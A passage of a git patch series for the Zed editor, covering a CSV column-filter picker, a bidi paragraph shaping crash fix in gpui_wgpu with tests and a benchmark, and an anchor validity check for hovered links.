+                cancel.as_ref(),
+                background,
+            )
+            .await;
+            matches.sort_by_key(|m| m.candidate_id);
+
+            this.update_in(cx, |this, _, cx| {
+                if this.delegate.query != query {
+                    return;
+                }
+                let rows = &this.delegate.rows;
+                let matches = matches
+                    .into_iter()
+                    .map(|m| (m.candidate_id, m.positions))
+                    .collect();
+                this.delegate.filtered = ColumnFilterDelegate::build_entries(rows, matches);
+                this.delegate.selected_index = this.delegate.first_selectable_index();
+                cx.notify();
+            })
+            .ok();
+        })
+    }
+
+    fn confirm(&mut self, _secondary: bool, _window: &mut Window, cx: &mut Context<Picker<Self>>) {
+        let Some(ColumnFilterListEntry::Row { row_index, .. }) =
+            self.filtered.get(self.selected_index)
+        else {
+            return;
+        };
+        let row_index = *row_index;
+        if self.rows[row_index].hidden_by.is_some() {
+            return;
+        }
+        let col = self.col;
+        let value = self.rows[row_index].entry.content.clone();
+        self.view
+            .update(cx, |view, cx| view.toggle_filter(col, value, cx));
+        self.refresh_rows(cx);
+        cx.notify();
+    }
+
+    fn dismissed(&mut self, _window: &mut Window, _cx: &mut Context<Picker<Self>>) {}
+
+    fn render_match(
+        &self,
+        ix: usize,
+        selected: bool,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<Self::ListItem> {
+        match self.filtered.get(ix)? {
+            ColumnFilterListEntry::Header(label) => Some(
+                div()
+                    .px_2()
+                    .pt_2()
+                    .pb_1()
+                    .border_t_1()
+                    .border_color(cx.theme().colors().border_variant)
+                    .child(
+                        Label::new(label.clone())
+                            .size(LabelSize::XSmall)
+                            .color(Color::Muted),
+                    )
+                    .into_any_element(),
+            ),
+            ColumnFilterListEntry::Row {
+                row_index,
+                positions,
+            } => {
+                let row = &self.rows[*row_index];
+                let value_text: SharedString = match &row.entry.content {
+                    Some(s) => s.clone(),
+                    None => "<null>".into(),
+                };
+                let count_text = SharedString::from(row.entry.occurred_times().to_string());
+                let label = HighlightedLabel::new(value_text.clone(), positions.clone())
+                    .size(LabelSize::Small)
+                    .single_line()
+                    .truncate();
+
+                if row.hidden_by.is_some() {
+                    return Some(
+                        ListItem::new(("csv-filter-hidden", ix))
+                            .disabled(true)
+                            .inset(true)
+                            .spacing(ListItemSpacing::Sparse)
+                            .child(label.color(Color::Disabled))
+                            .end_slot(
+                                Label::new(count_text)
+                                    .size(LabelSize::Small)
+                                    .color(Color::Disabled),
+                            )
+                            .into_any_element(),
+                    );
+                }
+
+                Some(
+                    ListItem::new(("csv-filter-value", ix))
+                        .inset(true)
+                        .spacing(ListItemSpacing::Sparse)
+                        .toggle_state(selected)
+                        .start_slot(
+                            h_flex()
+                                .flex_none()
+                                .when(!row.is_applied, |el| el.invisible())
+                                .child(
+                                    Icon::new(IconName::Check)
+                                        .size(IconSize::Small)
+                                        .color(Color::Accent),
+                                ),
+                        )
+                        .child(label)
+                        .end_slot(
+                            Label::new(count_text)
+                                .size(LabelSize::Small)
+                                .color(Color::Muted),
+                        )
+                        .tooltip(Tooltip::text(value_text))
+                        .into_any_element(),
+                )
+            }
+        }
+    }
+
+    fn render_footer(
+        &self,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<AnyElement> {
+        let selected_rows: usize = self
+            .rows
+            .iter()
+            .filter(|row| row.hidden_by.is_none() && row.is_applied)
+            .map(|row| row.entry.occurred_times())
+            .sum();
+        let total_rows: usize = self
+            .rows
+            .iter()
+            .filter(|row| row.hidden_by.is_none())
+            .map(|row| row.entry.occurred_times())
+            .sum();
+        if selected_rows == 0 {
+            return None;
+        }
+
+        let col = self.col;
+        Some(
+            h_flex()
+                .w_full()
+                .px_2()
+                .py_1()
+                .border_t_1()
+                .border_color(cx.theme().colors().border_variant)
+                .justify_between()
+                .items_center()
+                .child(
+                    Label::new(format!("{selected_rows} / {total_rows} rows selected"))
+                        .size(LabelSize::Small)
+                        .color(Color::Muted),
+                )
+                .child(
+                    div()
+                        .id("csv-filter-clear-all")
+                        .cursor_pointer()
+                        .child(
+                            Label::new("Clear all")
+                                .size(LabelSize::Small)
+                                .color(Color::Accent),
+                        )
+                        .on_click(cx.listener(move |picker, _, _, cx| {
+                            picker
+                                .delegate
+                                .view
+                                .update(cx, |view, cx| view.clear_filters(col, cx));
+                            picker.delegate.refresh_rows(cx);
+                            cx.notify();
+                            cx.emit(DismissEvent);
+                        })),
+                )
+                .into_any(),
+        )
+    }
+}
+
 impl CsvPreviewView {
     /// Create header for data, which is orderable with text on the left and sort button on the right
     pub(crate) fn create_header_element_with_sort_button(
@@ -83,14 +584,14 @@ impl CsvPreviewView {
         cx: &mut Context<'_, CsvPreviewView>,
         col_idx: AnyColumn,
     ) -> Button {
-        let sort_btn = Button::new(
+        Button::new(
             ElementId::NamedInteger("sort-button".into(), col_idx.get() as u64),
             match self.engine.applied_sorting {
                 Some(ordering) if ordering.col_idx == col_idx => match ordering.direction {
                     SortDirection::Asc => "↓",
                     SortDirection::Desc => "↑",
                 },
-                _ => "↕", // Unsorted/available for sorting
+                _ => "↕",
             },
         )
         .size(ButtonSize::Compact)
@@ -114,38 +615,31 @@ impl CsvPreviewView {
         }))
         .on_click(cx.listener(move |this, _event, _window, cx| {
             let new_sorting = match this.engine.applied_sorting {
-                Some(ordering) if ordering.col_idx == col_idx => {
-                    // Same column clicked - cycle through states
-                    match ordering.direction {
-                        SortDirection::Asc => Some(AppliedSorting {
-                            col_idx,
-                            direction: SortDirection::Desc,
-                        }),
-                        SortDirection::Desc => None, // Clear sorting
-                    }
-                }
-                _ => {
-                    // Different column or no sorting - start with ascending
-                    Some(AppliedSorting {
+                Some(ordering) if ordering.col_idx == col_idx => match ordering.direction {
+                    SortDirection::Asc => Some(AppliedSorting {
                         col_idx,
-                        direction: SortDirection::Asc,
-                    })
-                }
+                        direction: SortDirection::Desc,
+                    }),
+                    SortDirection::Desc => None,
+                },
+                _ => Some(AppliedSorting {
+                    col_idx,
+                    direction: SortDirection::Asc,
+                }),
             };
-
             this.engine.applied_sorting = new_sorting;
             this.apply_sort(cx);
             cx.notify();
-        }));
-        sort_btn
+        }))
     }
 
     fn create_filter_button(
         &self,
         cx: &mut Context<'_, CsvPreviewView>,
         col: AnyColumn,
-    ) -> PopoverMenu<ContextMenu> {
+    ) -> PopoverMenu<Picker<ColumnFilterDelegate>> {
         let has_active_filters = self.engine.has_active_filters(col);
+        let sort_order = self.settings.filter_sort_order;
 
         PopoverMenu::new(ElementId::NamedInteger(
             "filter-menu".into(),
@@ -180,146 +674,19 @@ impl CsvPreviewView {
                         return None;
                     }
                 };
-                let filter_sort_order = view.settings.filter_sort_order;
-                let filter_menu = Self::create_filter_menu(
-                    window,
-                    cx,
-                    view_entity.clone(),
-                    col,
-                    &column_filters,
-                    has_active_filters,
-                    filter_sort_order,
-                );
-                Some(filter_menu)
-            }
-        })
-    }
-
-    fn create_filter_menu(
-        window: &mut ui::Window,
-        cx: &mut ui::App,
-        view_entity: gpui::Entity<CsvPreviewView>,
-        col: AnyColumn,
-        column_filters: &[(FilterEntry, FilterEntryState)],
-        has_active_filters: bool,
-        sort_order: FilterSortOrder,
-    ) -> gpui::Entity<ContextMenu> {
-        let mut available: Vec<&FilterEntry> = column_filters
-            .iter()
-            .filter_map(|(entry, state)| {
-                matches!(state, FilterEntryState::Available { .. }).then_some(entry)
-            })
-            .collect();
-
-        match sort_order {
-            FilterSortOrder::AlphaThenCount => available.sort_by(|a, b| {
-                a.content
-                    .cmp(&b.content)
-                    .then_with(|| b.occurred_times().cmp(&a.occurred_times()))
-            }),
-            FilterSortOrder::CountThenAlpha => available.sort_by(|a, b| {
-                b.occurred_times()
-                    .cmp(&a.occurred_times())
-                    .then_with(|| a.content.cmp(&b.content))
-            }),
-        }
-
-        let unavailable: Vec<(&FilterEntry, AnyColumn)> = column_filters
-            .iter()
-            .filter_map(|(entry, state)| {
-                if let FilterEntryState::Unavailable { blocked_by } = state {
-                    Some((entry, *blocked_by))
-                } else {
-                    None
-                }
-            })
-            .collect();
+                let view_entity = view_entity.clone();
 
-        // Pre-build applied-state lookup before moving into the closure
-        let applied_states: Vec<(FilterEntry, bool)> = column_filters
-            .iter()
-            .filter_map(|(entry, state)| {
-                if let FilterEntryState::Available { is_applied } = state {
-                    Some((entry.clone(), *is_applied))
-                } else {
-                    None
-                }
-            })
-            .collect();
-
-        let available_cloned: Vec<FilterEntry> = available.iter().map(|e| (*e).clone()).collect();
-        let unavailable_cloned: Vec<(FilterEntry, AnyColumn)> = unavailable
-            .into_iter()
-            .map(|(e, col)| (e.clone(), col))
-            .collect();
-
-        ContextMenu::build(window, cx, move |menu, _, _| {
-            let mut menu = menu;
-
-            if has_active_filters {
-                menu = menu
-                    .toggleable_entry("Clear all", false, ui::IconPosition::Start, None, {
-                        let view_entity = view_entity.clone();
-                        move |_window, cx| {
-                            view_entity.update(cx, |view, cx| {
-                                view.clear_filters(col, cx);
-                                cx.notify();
-                            });
-                        }
-                    })
-                    .separator();
-            }
-
-            for entry in &available_cloned {
-                let is_applied = applied_states
-                    .iter()
-                    .find(|(e, _)| e.content == entry.content)
-                    .map_or(false, |(_, applied)| *applied);
-
-                let label: SharedString =
-                    format_filter_label(entry.content.as_ref(), entry.occurred_times()).into();
-                let entry_value = entry.content.clone();
-
-                menu = menu.toggleable_entry(&label, is_applied, ui::IconPosition::Start, None, {
-                    let view_entity = view_entity.clone();
-                    move |_window, cx| {
-                        view_entity.update(cx, |view, cx| {
-                            view.toggle_filter(col, entry_value.clone(), cx);
-                            cx.notify();
-                        });
-                    }
+                let picker = cx.new(|cx| {
+                    let delegate =
+                        ColumnFilterDelegate::new(col, view_entity, sort_order, column_filters, cx);
+                    Picker::list(delegate, window, cx)
+                        .popover()
+                        .initial_width(rems(18.75))
+                        .show_scrollbar(true)
                 });
+                picker.focus_handle(cx).focus(window, cx);
+                Some(picker)
             }
-
-            if !unavailable_cloned.is_empty() {
-                menu = menu.separator().header("Hidden by other filters");
-                for (entry, _blocked_by) in &unavailable_cloned {
-                    let label: SharedString =
-                        format_filter_label(entry.content.as_ref(), entry.occurred_times()).into();
-                    menu = menu.custom_entry(
-                        {
-                            let label = label.clone();
-                            move |_window, cx| {
-                                div()
-                                    .px_2()
-                                    .text_color(cx.theme().colors().text_muted)
-                                    .child(label.clone())
-                                    .into_any_element()
-                            }
-                        },
-                        |_, _| {},
-                    );
-                }
-            }
-
-            menu
         })
     }
 }
-
-fn format_filter_label(content: Option<&SharedString>, count: usize) -> String {
-    match content {
-        Some(s) => format!("{s} ({count})"),
-        None => format!("<null> ({count})"),
-    }
-}

From c214057e086517920b214800725c5d16294ddf0d Mon Sep 17 00:00:00 2001
From: Jakub Konka <kubkon@jakubkonka.com>
Date: Sun, 26 Jul 2026 16:31:25 +0200
Subject: [PATCH 704/772] gpui_wgpu: Fix bidi paragraph shaping crash (#61651)

Closes FR-133

`cosmic-text`'s BiDi line shaping machinery (`ShapeLine::new`) asserts
that every BiDi paragraph is following the same direction. It turns out
that our `gpui_wgpu` line shaping adapter would not account for that
leading to panics if text contained multiple BiDi paragraphs with
multiple directions. Not super common but worth fixing as the fix is not
super complicated. At the same time, I'd like to point out that there is
a patch submitted to `cosmic-text` that redoes shaping logic so that
this is no longer illegal:
https://github.com/pop-os/cosmic-text/pull/508 If it gets accepted, we
can revert this fix.

Release Notes:
- Fixed panic in `gpui_wgpu` if text contained multiple BiDi paragraphs
with mismatched directions.
---
 Cargo.lock                                 |   1 +
 Cargo.toml                                 |   3 +
 crates/gpui_wgpu/Cargo.toml                |   1 +
 crates/gpui_wgpu/benches/layout_line.rs    |  24 +-
 crates/gpui_wgpu/src/cosmic_text_system.rs | 359 ++++++++++++++++++++-
 5 files changed, 386 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 10cb9751dc8b62..5d22ca539aa0dc 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -8061,6 +8061,7 @@ dependencies = [
  "raw-window-handle",
  "smallvec",
  "swash",
+ "unicode-bidi",
  "unicode-segmentation",
  "wasm-bindgen",
  "wasm-bindgen-futures",
diff --git a/Cargo.toml b/Cargo.toml
index 7bc339f3b23fc6..3eb608e555ed30 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -857,6 +857,9 @@ tree-sitter-typescript = { git = "https://github.com/zed-industries/tree-sitter-
 tree-sitter-yaml = { git = "https://github.com/zed-industries/tree-sitter-yaml", rev = "baff0b51c64ef6a1fb1f8390f3ad6015b83ec13a" }
 tracing = "0.1.40"
 unicase = "2.6"
+unicode-bidi = { version = "0.3.18", default-features = false, features = [
+    "hardcoded-data",
+] }
 unicode-script = "0.5.7"
 unicode-segmentation = "1.10"
 unicode-width = "0.2"
diff --git a/crates/gpui_wgpu/Cargo.toml b/crates/gpui_wgpu/Cargo.toml
index c2eb51f9f13149..b31614a78a5558 100644
--- a/crates/gpui_wgpu/Cargo.toml
+++ b/crates/gpui_wgpu/Cargo.toml
@@ -29,6 +29,7 @@ profiling.workspace = true
 raw-window-handle.workspace = true
 smallvec.workspace = true
 swash.workspace = true
+unicode-bidi.workspace = true
 unicode-segmentation.workspace = true
 gpui_util.workspace = true
 wgpu.workspace = true
diff --git a/crates/gpui_wgpu/benches/layout_line.rs b/crates/gpui_wgpu/benches/layout_line.rs
index f4a92892292c9e..6d66a7a2d556aa 100644
--- a/crates/gpui_wgpu/benches/layout_line.rs
+++ b/crates/gpui_wgpu/benches/layout_line.rs
@@ -7,7 +7,12 @@ const LILEX: &[u8] = include_bytes!("../../../assets/fonts/lilex/Lilex-Regular.t
 const IBM_PLEX: &[u8] =
     include_bytes!("../../../assets/fonts/ibm-plex-sans/IBMPlexSans-Regular.ttf");
 
-// ~4 000 chars of typical ASCII code text.
+// ~4 000 chars of typical ASCII code text, as a single display line.
+//
+// `layout_line` is handed one line at a time, already split on `\n` by its
+// callers, so the newlines are replaced rather than kept: leaving them in would
+// make this measure the multi-paragraph path instead of the common one, since
+// `\n` is itself a bidi paragraph separator.
 fn code_text() -> String {
     concat!(
         "    fn compute_run_spans(\n",
@@ -38,6 +43,7 @@ fn code_text() -> String {
         "    }\n",
     )
     .repeat(8) // ~3 800 chars
+    .replace('\n', " ")
 }
 
 fn bench_layout_line(c: &mut Criterion) {
@@ -56,6 +62,14 @@ fn bench_layout_line(c: &mut Criterion) {
 
     let text = code_text();
 
+    // Same text, but with a bidi paragraph separator (U+001C) and RTL content
+    // forcing the per-paragraph shaping path.
+    let text_mixed_direction = text.clone() + "\u{001c}\u{05d0}\u{05d1}";
+    assert!(
+        !text.contains('\n'),
+        "fast-path corpus must contain no separator"
+    );
+
     let runs_no_fallback = vec![FontRun {
         len: text.len(),
         font_id: font_id_no_fallback,
@@ -64,6 +78,10 @@ fn bench_layout_line(c: &mut Criterion) {
         len: text.len(),
         font_id: font_id_with_fallback,
     }];
+    let runs_mixed_direction = vec![FontRun {
+        len: text_mixed_direction.len(),
+        font_id: font_id_no_fallback,
+    }];
 
     let mut group = c.benchmark_group("layout_line");
 
@@ -75,6 +93,10 @@ fn bench_layout_line(c: &mut Criterion) {
         b.iter(|| system.layout_line(&text, px(14.0), &runs_with_fallback))
     });
 
+    group.bench_function("mixed_direction_paragraphs", |b| {
+        b.iter(|| system.layout_line(&text_mixed_direction, px(14.0), &runs_mixed_direction))
+    });
+
     group.finish();
 }
 
diff --git a/crates/gpui_wgpu/src/cosmic_text_system.rs b/crates/gpui_wgpu/src/cosmic_text_system.rs
index 735a052a553eaf..ede56db90f76f9 100644
--- a/crates/gpui_wgpu/src/cosmic_text_system.rs
+++ b/crates/gpui_wgpu/src/cosmic_text_system.rs
@@ -14,7 +14,7 @@ use gpui::{
 use itertools::Itertools;
 use parking_lot::RwLock;
 use smallvec::SmallVec;
-use std::{borrow::Cow, sync::Arc};
+use std::{borrow::Cow, ops::Range, sync::Arc};
 use swash::{
     scale::{Render, ScaleContext, Source, StrikeWith},
     zeno::{Format, Vector},
@@ -454,6 +454,106 @@ impl CosmicTextSystemState {
 
     #[profiling::function]
     fn layout_line(&mut self, text: &str, font_size: Pixels, font_runs: &[FontRun]) -> LineLayout {
+        if contains_paragraph_separator(text) {
+            self.layout_line_with_separators(text, font_size, font_runs)
+        } else {
+            self.layout_line_no_separators(text, font_size, font_runs)
+        }
+    }
+
+    fn layout_line_with_separators(
+        &mut self,
+        text: &str,
+        font_size: Pixels,
+        font_runs: &[FontRun],
+    ) -> LineLayout {
+        let mut layout = LineLayout {
+            font_size,
+            len: text.len(),
+            ..Default::default()
+        };
+        let mut paragraph_start = 0;
+
+        for (separator_start, separator) in text
+            .char_indices()
+            .filter(|(_, character)| is_paragraph_separator(*character))
+        {
+            let separator_end = separator_start + separator.len_utf8();
+            self.shape_segment(
+                text,
+                paragraph_start..separator_start,
+                font_size,
+                font_runs,
+                &mut layout,
+            );
+            self.shape_segment(
+                text,
+                separator_start..separator_end,
+                font_size,
+                font_runs,
+                &mut layout,
+            );
+            paragraph_start = separator_end;
+        }
+
+        self.shape_segment(
+            text,
+            paragraph_start..text.len(),
+            font_size,
+            font_runs,
+            &mut layout,
+        );
+
+        layout
+    }
+
+    fn shape_segment(
+        &mut self,
+        text: &str,
+        range: Range<usize>,
+        font_size: Pixels,
+        font_runs: &[FontRun],
+        layout: &mut LineLayout,
+    ) {
+        if range.is_empty() {
+            return;
+        }
+
+        let segment_font_runs = clip_font_runs(font_runs, range.clone());
+        let segment =
+            self.layout_line_no_separators(&text[range.clone()], font_size, &segment_font_runs);
+
+        let mut segment_runs = segment.runs;
+        for run in &mut segment_runs {
+            for glyph in &mut run.glyphs {
+                glyph.index += range.start;
+                glyph.position.x += layout.width;
+            }
+        }
+
+        for mut run in segment_runs {
+            if let Some(same_run) = layout
+                .runs
+                .last_mut()
+                .filter(|last| last.font_id == run.font_id)
+            {
+                same_run.glyphs.append(&mut run.glyphs);
+            } else {
+                layout.runs.push(run);
+            }
+        }
+
+        layout.width += segment.width;
+        layout.ascent = layout.ascent.max(segment.ascent);
+        layout.descent = layout.descent.max(segment.descent);
+    }
+
+    fn layout_line_no_separators(
+        &mut self,
+        text: &str,
+        font_size: Pixels,
+        font_runs: &[FontRun],
+    ) -> LineLayout {
         let mut attrs_list = AttrsList::new(&Attrs::new());
         let mut offs = 0;
         for run in font_runs {
@@ -619,6 +719,46 @@ impl CosmicTextSystemState {
     }
 }
 
+#[inline(always)]
+fn is_paragraph_separator(character: char) -> bool {
+    unicode_bidi::bidi_class(character) == unicode_bidi::BidiClass::B
+}
+
+fn contains_paragraph_separator(text: &str) -> bool {
+    if text
+        .bytes()
+        .any(|byte| matches!(byte, b'\n' | b'\r' | 0x1c | 0x1d | 0x1e))
+    {
+        return true;
+    }
+
+    !text.is_ascii() && text.chars().any(is_paragraph_separator)
+}
+
+fn clip_font_runs(font_runs: &[FontRun], range: Range<usize>) -> SmallVec<[FontRun; 4]> {
+    let mut clipped = SmallVec::new();
+    let mut offs = 0;
+    for run in font_runs {
+        let run_start = offs;
+        offs += run.len;
+        if offs <= range.start {
+            continue;
+        }
+        if run_start >= range.end {
+            break;
+        }
+        let start = run_start.max(range.start);
+        let end = offs.min(range.end);
+        if start < end {
+            clipped.push(FontRun {
+                len: end - start,
+                font_id: run.font_id,
+            });
+        }
+    }
+    clipped
+}
+
 #[cfg(feature = "font-kit")]
 fn find_best_match(
     font: &Font,
@@ -885,6 +1025,223 @@ mod tests {
         }
     }
 
+    const IBM_PLEX: &[u8] =
+        include_bytes!("../../../assets/fonts/ibm-plex-sans/IBMPlexSans-Regular.ttf");
+
+    /// Every code point of `Bidi_Class=B`, each of which starts a new bidi
+    /// paragraph and so can split one line into mixed-direction paragraphs.
+    const SEPARATORS: &[char] = &[
+        '\u{000a}', '\u{000d}', '\u{001c}', '\u{001d}', '\u{001e}', '\u{0085}', '\u{2029}',
+    ];
+
+    fn text_system() -> Result<CosmicTextSystem> {
+        let text_system = CosmicTextSystem::new_without_system_fonts("IBM Plex Sans");
+        text_system.add_fonts(vec![Cow::Borrowed(IBM_PLEX)])?;
+        Ok(text_system)
+    }
+
+    fn layout_text(text_system: &CosmicTextSystem, text: &str) -> Result<LineLayout> {
+        let font_id = text_system.font_id(&gpui::font("IBM Plex Sans"))?;
+        let runs = [FontRun {
+            len: text.len(),
+            font_id,
+        }];
+        Ok(text_system.layout_line(text, gpui::px(14.0), &runs))
+    }
+
+    /// Mirrors the original crash: mixed-direction text reaching the shaper
+    /// through `shape_text`, which only splits lines on `\n`.
+    #[test]
+    fn shape_text_with_mixed_direction_paragraphs() -> Result<()> {
+        let platform_text_system = Arc::new(text_system()?);
+        let text_system = Arc::new(gpui::TextSystem::new(platform_text_system));
+        let window_text_system = gpui::WindowTextSystem::new(text_system);
+
+        let text: SharedString = "first line\n\u{05d0}\u{001c}A".into();
+        let runs = [gpui::TextRun {
+            len: text.len(),
+            font: gpui::font("IBM Plex Sans"),
+            ..Default::default()
+        }];
+
+        let lines = window_text_system.shape_text(text, gpui::px(14.0), &runs, None, None)?;
+
+        assert_eq!(lines.len(), 2);
+        assert_eq!(lines[1].len(), "\u{05d0}\u{001c}A".len());
+        assert!(lines[1].width() > Pixels::ZERO);
+        Ok(())
+    }
+
+    #[test]
+    fn layout_line_with_mixed_direction_paragraphs() -> Result<()> {
+        let text_system = text_system()?;
+
+        for separator in SEPARATORS {
+            for text in [
+                format!("\u{05d0}{separator}A"),
+                format!("A{separator}\u{05d0}"),
+            ] {
+                let layout = layout_text(&text_system, &text)?;
+
+                assert_eq!(layout.len, text.len(), "{text:?}");
+                assert!(layout.width > Pixels::ZERO, "{text:?}");
+                assert!(
+                    layout.runs.iter().any(|run| !run.glyphs.is_empty()),
+                    "{text:?}"
+                );
+            }
+        }
+
+        Ok(())
+    }
+
+    #[test]
+    fn layout_line_with_separators_at_line_edges() -> Result<()> {
+        let text_system = text_system()?;
+
+        for text in [
+            "\u{001c}",
+            "\u{001c}\u{001c}",
+            "\u{001c}\u{05d0}",
+            "\u{05d0}\u{001c}",
+            "\u{05d0}\u{001c}\u{001c}A",
+            "\u{001c}\u{05d0}\u{001c}A\u{001c}",
+        ] {
+            let layout = layout_text(&text_system, text)?;
+            assert_eq!(layout.len, text.len(), "{text:?}");
+        }
+
+        Ok(())
+    }
+
+    /// Glyph indices must stay absolute and positions ordered across segment
+    /// boundaries, otherwise cursor placement and hit testing desync. Uses
+    /// single-direction text so visual order matches logical order.
+    #[test]
+    fn layout_line_keeps_indices_and_positions_ordered_across_paragraphs() -> Result<()> {
+        let text_system = text_system()?;
+        let text = "ab\u{001c}cd\u{2029}ef";
+        let layout = layout_text(&text_system, text)?;
+
+        let glyphs: Vec<_> = layout.runs.iter().flat_map(|run| &run.glyphs).collect();
+        assert!(!glyphs.is_empty());
+
+        for glyph in &glyphs {
+            assert!(glyph.index < text.len(), "{:?}", glyph.index);
+            assert!(text.is_char_boundary(glyph.index), "{:?}", glyph.index);
+        }
+        for pair in glyphs.windows(2) {
+            assert!(pair[0].index < pair[1].index);
+            assert!(pair[0].position.x <= pair[1].position.x);
+        }
+
+        // Every segment contributes width, so the whole line is wider than its
+        // leading paragraph alone.
+        assert!(layout.width > layout_text(&text_system, "ab")?.width);
+        Ok(())
+    }
+
+    /// A font run boundary that does not line up with a paragraph boundary must
+    /// still be clipped to the right segments.
+    #[test]
+    fn layout_line_with_font_run_straddling_a_separator() -> Result<()> {
+        let text_system = text_system()?;
+        let font_id = text_system.font_id(&gpui::font("IBM Plex Sans"))?;
+        let text = "ab\u{001c}\u{05d0}\u{05d1}";
+
+        // The run boundary falls inside the trailing RTL paragraph.
+        let runs = [
+            FontRun {
+                len: "ab\u{001c}\u{05d0}".len(),
+                font_id,
+            },
+            FontRun {
+                len: "\u{05d1}".len(),
+                font_id,
+            },
+        ];
+        let layout = text_system.layout_line(text, gpui::px(14.0), &runs);
+
+        assert_eq!(layout.len, text.len());
+        assert!(layout.width > Pixels::ZERO);
+        Ok(())
+    }
+
+    /// Lines with no separator take the fast path and must be shaped exactly as
+    /// they were before paragraph splitting existed.
+    #[test]
+    fn layout_line_without_separators_takes_fast_path() -> Result<()> {
+        let text_system = text_system()?;
+
+        for text in [
+            "hello world",
+            "\u{05d0}\u{05d1}\u{05d2}",
+            "mixed \u{05d0}\u{05d1}",
+        ] {
+            assert!(!contains_paragraph_separator(text), "{text:?}");
+            let layout = layout_text(&text_system, text)?;
+            assert_eq!(layout.len, text.len(), "{text:?}");
+            assert!(layout.width > Pixels::ZERO, "{text:?}");
+        }
+
+        Ok(())
+    }
+
+    #[test]
+    fn paragraph_separator_detection() {
+        for separator in SEPARATORS {
+            assert!(is_paragraph_separator(*separator), "{separator:?}");
+            assert!(contains_paragraph_separator(&format!("a{separator}b")));
+        }
+
+        for text in [
+            "",
+            "plain ascii",
+            "\u{05d0}",
+            "tab\there",
+            "emoji \u{1f600}",
+        ] {
+            assert!(!contains_paragraph_separator(text), "{text:?}");
+        }
+    }
+
+    #[test]
+    fn font_runs_are_clipped_to_segment() {
+        let runs = [
+            FontRun {
+                len: 3,
+                font_id: fid(1),
+            },
+            FontRun {
+                len: 4,
+                font_id: fid(2),
+            },
+        ];
+
+        assert_eq!(clip_font_runs(&runs, 0..7).as_slice(), &runs);
+        assert_eq!(
+            clip_font_runs(&runs, 2..5).as_slice(),
+            &[
+                FontRun {
+                    len: 1,
+                    font_id: fid(1)
+                },
+                FontRun {
+                    len: 2,
+                    font_id: fid(2)
+                },
+            ]
+        );
+        assert_eq!(
+            clip_font_runs(&runs, 3..7).as_slice(),
+            &[FontRun {
+                len: 4,
+                font_id: fid(2)
+            }]
+        );
+        assert!(clip_font_runs(&runs, 5..5).is_empty());
+    }
+
     #[test]
     fn primary_wins_over_current_fallback_when_primary_covers() {
         let primary = fid(0);

From afd17238ed257d4b7130891e339c534c1a9a828a Mon Sep 17 00:00:00 2001
From: Jakub Konka <kubkon@jakubkonka.com>
Date: Sun, 26 Jul 2026 18:37:40 +0200
Subject: [PATCH 705/772] editor: Check anchor validity for hovered links
 (#61686)

Closes FR-112

Otherwise, if a multibuffer snapshot changed under the hood for example
one of the paths changed, without doing an explicit validity check, we
would panic during comparison instead.

Release Notes:

- Fixed panic when hovering links during an under-the-hood multibuffer
changes.
---
 crates/editor/src/hover_links.rs | 80 ++++++++++++++++++++++++++++++--
 1 file changed, 77 insertions(+), 3 deletions(-)

diff --git a/crates/editor/src/hover_links.rs b/crates/editor/src/hover_links.rs
index b0137979526b1e..fa530f4434e3f5 100644
--- a/crates/editor/src/hover_links.rs
+++ b/crates/editor/src/hover_links.rs
@@ -51,8 +51,16 @@ impl RangeInEditor {
     ) -> bool {
         match (self, trigger_point) {
             (Self::Text(range), TriggerPoint::Text(point)) => {
-                let point_after_start = range.start.cmp(point, &snapshot.buffer_snapshot()).is_le();
-                point_after_start && range.end.cmp(point, &snapshot.buffer_snapshot()).is_ge()
+                let buffer_snapshot = snapshot.buffer_snapshot();
+                if !range.start.is_valid(&buffer_snapshot)
+                    || !range.end.is_valid(&buffer_snapshot)
+                    || !point.is_valid(&buffer_snapshot)
+                {
+                    return false;
+                }
+                let point_after_start = range.start.cmp(point, &buffer_snapshot).is_le();
+                let point_after_end = range.end.cmp(point, &buffer_snapshot).is_ge();
+                point_after_start && point_after_end
             }
             (Self::Inlay(highlight), TriggerPoint::InlayHint(point, _, _)) => {
                 highlight.inlay == point.inlay
@@ -1066,8 +1074,9 @@ mod tests {
     use futures::StreamExt;
     use gpui::{Modifiers, MousePressureEvent, PressureStage};
     use indoc::indoc;
+    use language::Point;
     use lsp::request::{GotoDefinition, GotoTypeDefinition};
-    use multi_buffer::MultiBufferOffset;
+    use multi_buffer::{MultiBufferOffset, PathKey};
     use settings::InlayHintSettingsContent;
     use std::str::FromStr;
     use std::sync::Arc;
@@ -1195,6 +1204,71 @@ mod tests {
         "});
     }
 
+    #[gpui::test]
+    async fn test_hover_link_after_multibuffer_path_changes(cx: &mut gpui::TestAppContext) {
+        init_test(cx, |_| {});
+
+        let mut cx = EditorLspTestContext::new_rust(Default::default(), cx).await;
+        cx.set_state("https://zed.dev/ˇreleases");
+        let old_snapshot = cx.update_editor(|editor, window, cx| editor.snapshot(window, cx));
+        let link_start = MultiBufferOffset(17).to_display_point(&old_snapshot.display_snapshot);
+        let link_end = MultiBufferOffset(22).to_display_point(&old_snapshot.display_snapshot);
+        let point_for_position = |point| PointForPosition {
+            previous_valid: point,
+            next_valid: point,
+            nearest_valid: point,
+            exact_unclipped: point,
+            column_overshoot_after_line_end: 0,
+        };
+
+        let buffer = cx.editor(|editor, _, cx| {
+            editor
+                .buffer()
+                .read(cx)
+                .as_singleton()
+                .expect("test editor should contain a singleton buffer")
+        });
+        cx.update_multibuffer(|multibuffer, cx| {
+            let max_point = buffer.read(cx).max_point();
+            multibuffer.set_excerpts_for_path(
+                PathKey::sorted(1),
+                buffer,
+                [Point::zero()..max_point],
+                0,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        let modifiers = if cfg!(target_os = "macos") {
+            Modifiers::command_shift()
+        } else {
+            Modifiers::control_shift()
+        };
+        cx.update_editor(|editor, window, cx| {
+            editor.update_hovered_link(
+                point_for_position(link_start),
+                None,
+                &old_snapshot,
+                modifiers,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        cx.update_editor(|editor, window, cx| {
+            editor.update_hovered_link(
+                point_for_position(link_end),
+                None,
+                &old_snapshot,
+                modifiers,
+                window,
+                cx,
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_go_to_definition_link_dedup(cx: &mut gpui::TestAppContext) {
         init_test(cx, |_| {});

